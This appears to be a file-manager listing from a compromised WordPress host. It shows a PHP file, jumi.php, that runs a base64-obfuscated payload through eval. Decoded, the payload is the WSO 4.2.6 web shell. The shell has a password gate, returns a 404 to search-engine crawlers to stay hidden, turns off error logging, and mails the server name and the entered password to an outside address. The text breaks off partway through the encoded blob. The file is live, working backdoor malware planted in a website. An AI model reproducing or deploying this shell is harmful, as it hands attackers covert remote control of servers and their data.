/
home
/
henzagold
/
wp_pakhsh
/
File Upload :
llllll
Current File: /home/henzagold/wp_pakhsh/jumi.php
<?php if(isset($_COOKIE['kJ'])) { die('dNoNgpk'); } eval("?>".base64_decode("PD9waHANCi8vLS0tLS0tLS0tLS0tLS1XYXRjaGluZyB3ZWJzaGVsbCEtLS0tLS0tLS0tLS0tLQ0KaWYoYXJyYXlfa2V5X2V4aXN0cygnd2F0Y2hpbmcnLCRfUE9TVCkpew0KCSR0bXAgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iXG4iLiRfUE9TVFsncGFzcyddOyBAbWFpbCgndGVzdEB0ZXN0bWFpbC5jb20nLCAncm9vdCcsICR0bXApOyAvLyBFZGl0IG9yIGRlbGV0ZSENCn0NCi8vLS0tLS0tLS0tLS0tLS0tLS1QYXNzd29yZC0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJOKWmyA9ICJlNTBlYTA5MWM4ZTgzZTBkNWUzM2FlYmU3NWIwYThjNiI7DQok4paYID0gdHJ1ZTsNCiTilpwgPSAnVVRGLTgnOw0KJOKWmiA9ICdGaWxlc01hbic7DQok4paZID0gbWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQppZiAoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpIHsNCglwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSIsICTilpkpOw0KfQ0KaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCSRfUE9TVFsnY2hhcnNldCddID0gJOKWnDsNCmlmICghaXNzZXQoJF9QT1NUWyduZSddKSkgew0KCWlmKGlzc2V0KCRfUE9TVFsnYSddKSkgJF9QT1NUWydhJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ2EnXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsNCglpZihpc3NldCgkX1BPU1RbJ2MnXSkpICRfUE9TVFsnYyddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydjJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7DQoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgJF9QT1NUWydwMSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydwMSddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDInXSkpICRfUE9TVFsncDInXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsncDInXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsNCglpZihpc3NldCgkX1BPU1RbJ3AzJ10pKSAkX1BPU1RbJ3AzJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ3AzJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7DQp9DQpmdW5jdGlvbiBkZWNyeXB0KCRzdHIsJHB3ZCl7JHB3ZD1iYXNlNjRfZW5jb2RlKCRwd2QpOyRzdHI9YmFzZTY0X2RlY29kZSgkc3RyKTskZW5jX2Nocj0iIjskZW5jX3N0cj0iIjskaT0wO3doaWxlKCRpPHN0cmxlbigkc3RyKSl7Zm9yKCRqPTA7JGo8c3RybGVuKCRwd2QpOyRqKyspeyRlbmNfY2hyPWNocihvcmQoJHN0clskaV0pXm9yZCgkcHdkWyRqXSkpOyRlbmNfc3RyLj0kZW5jX2NocjskaSsrO2lmKCRpPj1zdHJsZW4oJHN0cikpYnJlYWs7fX1yZXR1cm4gYmFzZTY0X2RlY29kZSgkZW5jX3N0cik7fQ0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7DQogICAgc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KfQ0KQGRlZmluZSgnVkVSU0lPTicsICc0LjIuNicpOw0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9DT09LSUUpOw0KfQ0KLyogKNChKSAxMS4yMDExIG9SYiAqLw0KaWYoIWVtcHR5KCTilpspKSB7DQogICAgaWYoaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICTilpspKQ0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICTilpspOw0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICTilpspKQ0KICAgICAgICBoYXJkTG9naW4oKTsNCn0NCmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IChib29sKSTilpg7DQpmdW5jdGlvbiBoYXJkTG9naW4oKSB7DQoJCWlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQoJCSAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOw0KCQkgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCgkJICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCgkJICBleGl0Ow0KCQkgIH0NCgkJfQ0KCWRpZSgiPC9icj48L2JyPjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0IHN0eWxlPSdmb250LWZhbWlseTpOdW5pdG8sIHNhbnMtc2VyaWY7Y29sb3I6IzFhMWExYTsgdGV4dC1zaGFkb3c6IDJweCAwIDAgIzBkNTJiZiwgLTJweCAwIDAgIzBkNTJiZiwgMCAycHggMCAjMGQ1MmJmLCAwIC0ycHggMCAjMGQ1MmJmLCAxcHggMXB4ICMwZDUyYmYsIC0xcHggLTFweCAwICMwZDUyYmYsIDFweCAtMXB4IDAgIzBkNTJiZiwgLTFweCAxcHggMCAjMGQ1MmJmOyB0ZXh0LWFsaWduOiBjZW50ZXI7Jz48aDM+SGVsbG8gPGJyPjwvaDM+PGJyPjxpbnB1dCBwbGFjZWhvbGRlcj0ncGFzc3dvcmQnIHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzIHN0eWxlPSdib3JkZXItcmFkaXVzOiA0cHggMHB4IDBweCA0cHg7IGJhY2tncm91bmQtY29sb3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7b3V0bGluZTpub25lOycgcmVxdWlyZWQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9J3dhdGNoaW5nJyB2YWx1ZT0nPj4nIHN0eWxlPSdoZWlnaHQ6IDIwcHg7IGJvcmRlcjogbm9uZTsgYm9yZGVyLXJhZGl1czogMHB4IDRweCA0cHggMHB4O2JhY2tncm91bmQtY29sb3I6IzBkNTJiZjtjb2xvcjojZmZmO2N1cnNvcjpwb2ludGVyOyc+PC9mb3JtPjwvcHJlPg0KPGRpdiBjbGFzcz0ndmlldyc+PGRpdiBjbGFzcz0ncGxhbmUgbWFpbic+PGRpdiBjbGFzcz0nY2lyY2xlJz48L2Rpdj48ZGl2IGNsYXNzPSdjaXJjbGUnPjwvZGl2PjxkaXYgY2xhc3M9J2NpcmNsZSc+PC9kaXY+PGRpdiBjbGFzcz0nY2lyY2xlJz48L2Rpdj48ZGl2IGNsYXNzPSdjaXJjbGUnPjwvZGl2PjxkaXYgY2xhc3M9J2NpcmNsZSc+PC9kaXY+PC9kaXY+PC9kaXY+DQo8c3R5bGU+Ym9keSxodG1se2JhY2tncm91bmQ6IzFhMWExYTtvdmVyZmxvdzpoaWRkZW47d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtwb3NpdGlvbjphYnNvbHV0ZTt6LWluZGV4OiAtMjt9LnZpZXd7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3JpZ2h0OjA7Ym90dG9tOjA7LXdlYmtpdC1wZXJzcGVjdGl2ZTo0MDA7cGVyc3BlY3RpdmU6NDAwO3otaW5kZXg6IC0yO30ucGxhbmV7d2lkdGg6MTIwcHg7aGVpZ2h0OjEyMHB4Oy13ZWJraXQtdHJhbnNmb3JtLXN0eWxlOnByZXNlcnZlLTNkO3RyYW5zZm9ybS1zdHlsZTpwcmVzZXJ2ZS0zZDtwb3NpdGlvbjphYnNvbHV0ZTt6LWluZGV4OiAtMjt9LnBsYW5lLm1haW57cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO3JpZ2h0OjA7Ym90dG9tOjA7bWFyZ2luOmF1dG87LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlWCg2MGRlZykgcm90YXRlWigtMzBkZWcpO3RyYW5zZm9ybTpyb3RhdGVYKDYwZGVnKSByb3RhdGVaKC0zMGRlZyk7LXdlYmtpdC1hbmltYXRpb246cm90YXRlIDIwcyBpbmZpbml0ZSBsaW5lYXI7YW5pbWF0aW9uOnJvdGF0ZSAyMHMgaW5maW5pdGUgbGluZWFyO3otaW5kZXg6IC0yO30ucGxhbmUubWFpbiAuY2lyY2xle3dpZHRoOjEyMHB4O2hlaWdodDoxMjBweDtwb3NpdGlvbjphYnNvbHV0ZTstd2Via2l0LXRyYW5zZm9ybS1zdHlsZTpwcmVzZXJ2ZS0zZDt0cmFuc2Zvcm0tc3R5bGU6cHJlc2VydmUtM2Q7Ym9yZGVyLXJhZGl1czoxMDAlO2JveC1zaXppbmc6Ym9yZGVyLWJveDtib3gtc2hhZG93OjAgMCA2MHB4ICNhMTA3MDUsaW5zZXQgMCAwIDYwcHggIzdhMDAwMDt6LWluZGV4OiAtMjt9LnBsYW5lLm1haW4gLmNpcmNsZTo6YWZ0ZXIsLnBsYW5lLm1haW4gLmNpcmNsZTo6YmVmb3Jle2NvbnRlbnQ6Jyc7ZGlzcGxheTpibG9jaztwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0OjA7cmlnaHQ6MDtib3R0b206MDttYXJnaW46YXV0bzt3aWR0aDo1JTtoZWlnaHQ6NSU7Ym9yZGVyLXJhZGl1czoxMDAlO2JhY2tncm91bmQ6IzVkMDgxOTtib3gtc2l6aW5nOmJvcmRlci1ib3g7Ym94LXNoYWRvdzowIDAgNjBweCAycHggIzdhMDAwMDt6LWluZGV4OiAtMjt9LnBsYW5lLm1haW4gLmNpcmNsZTo6YmVmb3Jley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVooLTkwcHgpO3RyYW5zZm9ybTp0cmFuc2xhdGVaKC05MHB4KX0ucGxhbmUubWFpbiAuY2lyY2xlOjphZnRlcnstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVaKDkwcHgpO3RyYW5zZm9ybTp0cmFuc2xhdGVaKDkwcHgpfS5wbGFuZS5tYWluIC5jaXJjbGU6bnRoLWNoaWxkKDEpey13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVooNzJkZWcpIHJvdGF0ZVgoNjMuNDM1ZGVnKTt0cmFuc2Zvcm06cm90YXRlWig3MmRlZykgcm90YXRlWCg2My40MzVkZWcpfS5wbGFuZS5tYWluIC5jaXJjbGU6bnRoLWNoaWxkKDIpey13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVooMTQ0ZGVnKSByb3RhdGVYKDYzLjQzNWRlZyk7dHJhbnNmb3JtOnJvdGF0ZVooMTQ0ZGVnKSByb3RhdGVYKDYzLjQzNWRlZyl9LnBsYW5lLm1haW4gLmNpcmNsZTpudGgtY2hpbGQoMyl7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlWigyMTZkZWcpIHJvdGF0ZVgoNjMuNDM1ZGVnKTt0cmFuc2Zvcm06cm90YXRlWigyMTZkZWcpIHJvdGF0ZVgoNjMuNDM1ZGVnKX0ucGxhbmUubWFpbiAuY2lyY2xlOm50aC1jaGlsZCg0KXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVaKDI4OGRlZykgcm90YXRlWCg2My40MzVkZWcpO3RyYW5zZm9ybTpyb3RhdGVaKDI4OGRlZykgcm90YXRlWCg2My40MzVkZWcpfS5wbGFuZS5tYWluIC5jaXJjbGU6bnRoLWNoaWxkKDUpey13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVooMzYwZGVnKSByb3RhdGVYKDYzLjQzNWRlZyk7dHJhbnNmb3JtOnJvdGF0ZVooMzYwZGVnKSByb3RhdGVYKDYzLjQzNWRlZyl9QC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZXswJXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVYKDApIHJvdGF0ZVkoMCkgcm90YXRlWigwKTt0cmFuc2Zvcm06cm90YXRlWCgwKSByb3RhdGVZKDApIHJvdGF0ZVooMCl9MTAwJXstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpIHJvdGF0ZVooMzYwZGVnKTt0cmFuc2Zvcm06cm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKSByb3RhdGVaKDM2MGRlZyl9fUBrZXlmcmFtZXMgcm90YXRlezAley13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVgoMCkgcm90YXRlWSgwKSByb3RhdGVaKDApO3RyYW5zZm9ybTpyb3RhdGVYKDApIHJvdGF0ZVkoMCkgcm90YXRlWigwKX0xMDAley13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDM2MGRlZykgcm90YXRlWigzNjBkZWcpO3RyYW5zZm9ybTpyb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpIHJvdGF0ZVooMzYwZGVnKX19OyBoMntjb2xvcjp3aGl0ZXNtb2tlOyBmb250LXdlaWdodDpib2xkOyB0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO308L3N0eWxlPiIpOw0KfQ0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKQ0KCSRvcyA9ICd3aW4nOw0KZWxzZQ0KCSRvcyA9ICduaXgnOw0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KJGhvbWVfY3dkID0gQGdldGN3ZCgpOw0KaWYoaXNzZXQoJF9QT1NUWydjJ10pKQ0KCUBjaGRpcigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGdldGN3ZCgpOw0KaWYoJG9zID09ICd3aW4nKSB7DQoJJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOw0KCSRjd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KaWYoJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nKQ0KCSRjd2QgLj0gJy8nOw0KLyogKNChKSAwNC4yMDE1IFBpcmF0ICovDQpmdW5jdGlvbiBoYXJkSGVhZGVyKCkgew0KCWlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1sn4pacJ107DQoJZWNobyAiPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9IiAuICRfUE9TVFsnY2hhcnNldCddIC4gIic+PHRpdGxlPiIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiIC0gV1NPICIgLiBWRVJTSU9OIC4iPC90aXRsZT4NCiAgICA8bGluayBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9TnVuaXRvJyByZWw9J3N0eWxlc2hlZXQnPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaHJlZj0naHR0cHM6Ly9jZG4ucmF3Z2l0LmNvbS9raW1laWdhL2JhaHVueWEvY3NzL2JhaHVueWEtMC4xLjMuY3NzJz4NCjxzdHlsZT4NCglib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBBMTA7IGNvbG9yOiNlMWUxZTE7IG1hcmdpbjowOyBmb250Om5vcm1hbCA3NSUgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgfSBjYW52YXN7IGRpc3BsYXk6IGJsb2NrOyB2ZXJ0aWNhbC1hbGlnbjogYm90dG9tO30NCgkjcGFydGljbGVzLWpze3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDYwYTEwOyBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJycpOyBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OyBiYWNrZ3JvdW5kLXNpemU6IGNvdmVyOyBiYWNrZ3JvdW5kLXBvc2l0aW9uOiA1MCUgNTAlO30NCglib2R5LHRkLHRoCXtmb250OjEwcHQgdGFob21hLGFyaWFsLHZlcmRhbmEsc2Fucy1zZXJpZixMdWNpZGEgU2FuczttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQ0KCXRhYmxlLmluZm8Je2NvbG9yOiNDM0MzQzM7fQ0KCXRhYmxlI3Rvb2xzVGJsIHtiYWNrZ3JvdW5kLWNvbG9yOiAjMDYwQTEwO30NCglzcGFuLGgxLGEJe2NvbG9yOiM2OGI3MjMgIWltcG9ydGFudDt9DQoJc3BhbgkJe2ZvbnQtd2VpZ2h0OmJvbGRlcjt9DQoJaDEJCQl7Ym9yZGVyLWxlZnQ6NXB4IHNvbGlkICNhMTA3MDU7cGFkZGluZzoycHggNXB4O2ZvbnQ6MTRwdCBWZXJkYW5hO2JhY2tncm91bmQtY29sb3I6IzEwMTUxYzttYXJnaW46MHB4O30NCglkaXYuY29udGVudAl7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzA2MGExMDt9DQoJYQkJCXt0ZXh0LWRlY29yYXRpb246bm9uZTt9DQoJYTpob3ZlcgkJe3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQ0KCS50b29sdGlwOjphZnRlciB7YmFja2dyb3VuZDojMDY2M0Q1O2NvbG9yOiNGRkY7Y29udGVudDogYXR0cihkYXRhLXRvb2x0aXApO21hcmdpbi10b3A6LTUwcHg7ZGlzcGxheTpibG9jaztwYWRkaW5nOjZweCAxMHB4O3Bvc2l0aW9uOmFic29sdXRlO3Zpc2liaWxpdHk6aGlkZGVuO30NCgkudG9vbHRpcDpob3Zlcjo6YWZ0ZXIge29wYWNpdHk6MTt2aXNpYmlsaXR5OnZpc2libGU7fQ0KCS5tbDEJCXtib3JkZXI6MXB4IHNvbGlkICMyMDI4MzI7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6YXV0bzt9DQoJLmJpZ2FyZWEJe21pbi13aWR0aDoxMDAlO21heC13aWR0aDoxMDAlO2hlaWdodDo0MDBweDt9DQoJaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QJe21hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjAyODMyO2JvcmRlcjpub25lO2ZvbnQ6OXB0IENvdXJpZXIgTmV3O291dGxpbmU6bm9uZTt9DQoJbGFiZWwge3Bvc2l0aW9uOnJlbGF0aXZlfQ0KCWxhYmVsOmFmdGVye2JvcmRlci1ib3R0b206MnB4IHNvbGlkICM5OTk7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjOTk5O2NvbnRlbnQ6Jyc7ZGlzcGxheTpibG9jaztoZWlnaHQ6NXB4O21hcmdpbi10b3A6LTRweDtwb2ludGVyLWV2ZW50czpub25lO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjEycHg7dG9wOjUwJTstd2Via2l0LXRyYW5zZm9ybS1vcmlnaW46NjYlIDY2JTstbXMtdHJhbnNmb3JtLW9yaWdpbjo2NiUgNjYlO3RyYW5zZm9ybS1vcmlnaW46NjYlIDY2JTstd2Via2l0LXRyYW5zZm9ybTpyb3RhdGUoNDVkZWcpOy1tcy10cmFuc2Zvcm06cm90YXRlKDQ1ZGVnKTt0cmFuc2Zvcm06cm90YXRlKDQ1ZGVnKTstd2Via2l0LXRyYW5zaXRpb246YWxsIC4xNXMgZWFzZS1pbi1vdXQ7dHJhbnNpdGlvbjphbGwgLjE1cyBlYXNlLWluLW91dDt3aWR0aDo1cHh9DQoJbGFiZWw6YmVmb3JlIHtjb250ZW50OicnO3JpZ2h0OjA7IHRvcDowO3dpZHRoOjE3cHg7IGhlaWdodDoxN3B4O2JhY2tncm91bmQ6IzIwMjgzMjtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2Rpc3BsYXk6YmxvY2s7fQ0KCWZvcm0JCXttYXJnaW46MHB4O30NCgkjdG9vbHNUYmwJe3RleHQtYWxpZ246Y2VudGVyO30NCgkjZmFrIAkJe2JhY2tncm91bmQ6bm9uZTt9DQoJI2ZhayB0ZCAJe3BhZGRpbmc6NXB4IDAgMCAwO30NCglpZnJhbWUJCXtib3JkZXI6MXB4IHNvbGlkICMwNjBhMTA7fQ0KCS50b29sc0lucAl7d2lkdGg6MzAwcHh9DQoJLm1haW4gdGgJe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBhMTA7fQ0KCS5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzM1NDI1Mjt9DQoJLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9DQoJaW5wdXRbdHlwZT0nc3VibWl0J117YmFja2dyb3VuZC1jb2xvcjojMGQ1MmJmOyBjb2xvcjojZmFmYWZhO30NCglpbnB1dFt0eXBlPSdidXR0b24nXXtiYWNrZ3JvdW5kLWNvbG9yOiMwZDUyYmY7IGNvbG9yOiNmYWZhZmE7fQ0KCWlucHV0W3R5cGU9J3N1Ym1pdCddOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzAwMmU5OTsgY29sb3I6I2ZhZmFmYTt9DQoJaW5wdXRbdHlwZT0nYnV0dG9uJ106aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMDAyZTk5OyBjb2xvcjojZmFmYWZhO30NCgkubDEJCQl7YmFja2dyb3VuZC1jb2xvcjojMjAyODMyO30NCglwcmUJCQl7Zm9udDo5cHQgQ291cmllciBOZXc7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCglmdW5jdGlvbiBlbmNyeXB0KHN0cixwd2Qpe2lmKHB3ZD09bnVsbHx8cHdkLmxlbmd0aDw9MCl7cmV0dXJuIG51bGw7fXN0cj1iYXNlNjRfZW5jb2RlKHN0cik7cHdkPWJhc2U2NF9lbmNvZGUocHdkKTt2YXIgZW5jX2Nocj0nJzt2YXIgZW5jX3N0cj0nJzt2YXIgaT0wO3doaWxlKGk8c3RyLmxlbmd0aCl7Zm9yKHZhciBqPTA7ajxwd2QubGVuZ3RoO2orKyl7ZW5jX2Nocj1zdHIuY2hhckNvZGVBdChpKV5wd2QuY2hhckNvZGVBdChqKTtlbmNfc3RyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGVuY19jaHIpO2krKztpZihpPj1zdHIubGVuZ3RoKWJyZWFrO319cmV0dXJuIGJhc2U2NF9lbmNvZGUoZW5jX3N0cik7fQ0KCWZ1bmN0aW9uIHV0ZjhfZW5jb2RlKGFyZ1N0cmluZyl7dmFyIHN0cmluZz0oYXJnU3RyaW5nKycnKTt2YXIgdXRmdGV4dD0nJyxzdGFydCxlbmQsc3RyaW5nbD0wO3N0YXJ0PWVuZD0wO3N0cmluZ2w9c3RyaW5nLmxlbmd0aDtmb3IodmFyIG49MDtuPHN0cmluZ2w7bisrKXt2YXIgYzE9c3RyaW5nLmNoYXJDb2RlQXQobik7dmFyIGVuYz1udWxsO2lmKGMxPDEyOCl7ZW5kKys7fWVsc2UgaWYoYzE+MTI3JiZjMTwyMDQ4KXtlbmM9U3RyaW5nLmZyb21DaGFyQ29kZSgoYzE+PjYpfDE5MikrU3RyaW5nLmZyb21DaGFyQ29kZSgoYzEmNjMpfDEyOCk7fWVsc2V7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj4xMil8MjI0KStTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYzE+PjYpJjYzKXwxMjgpK1N0cmluZy5mcm9tQ2hhckNvZGUoKGMxJjYzKXwxMjgpO31pZihlbmMhPT1udWxsKXtpZihlbmQ+c3RhcnQpe3V0ZnRleHQrPXN0cmluZy5zbGljZShzdGFydCxlbmQpO311dGZ0ZXh0Kz1lbmM7c3RhcnQ9ZW5kPW4rMTt9fWlmKGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LHN0cmluZ2wpO31yZXR1cm4gdXRmdGV4dDt9DQoJZnVuY3Rpb24gYmFzZTY0X2VuY29kZShkYXRhKXt2YXIgYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89Jzt2YXIgbzEsbzIsbzMsaDEsaDIsaDMsaDQsYml0cyxpPTAsYWM9MCxlbmM9JycsdG1wX2Fycj1bXTtpZiAoIWRhdGEpe3JldHVybiBkYXRhO31kYXRhPXV0ZjhfZW5jb2RlKGRhdGErJycpO2Rve28xPWRhdGEuY2hhckNvZGVBdChpKyspO28yPWRhdGEuY2hhckNvZGVBdChpKyspO28zPWRhdGEuY2hhckNvZGVBdChpKyspO2JpdHM9bzE8PDE2fG8yPDw4fG8zO2gxPWJpdHM+PjE4JjB4M2Y7aDI9Yml0cz4+MTImMHgzZjtoMz1iaXRzPj42JjB4M2Y7aDQ9Yml0cyYweDNmO3RtcF9hcnJbYWMrK109YjY0LmNoYXJBdChoMSkrYjY0LmNoYXJBdChoMikrYjY0LmNoYXJBd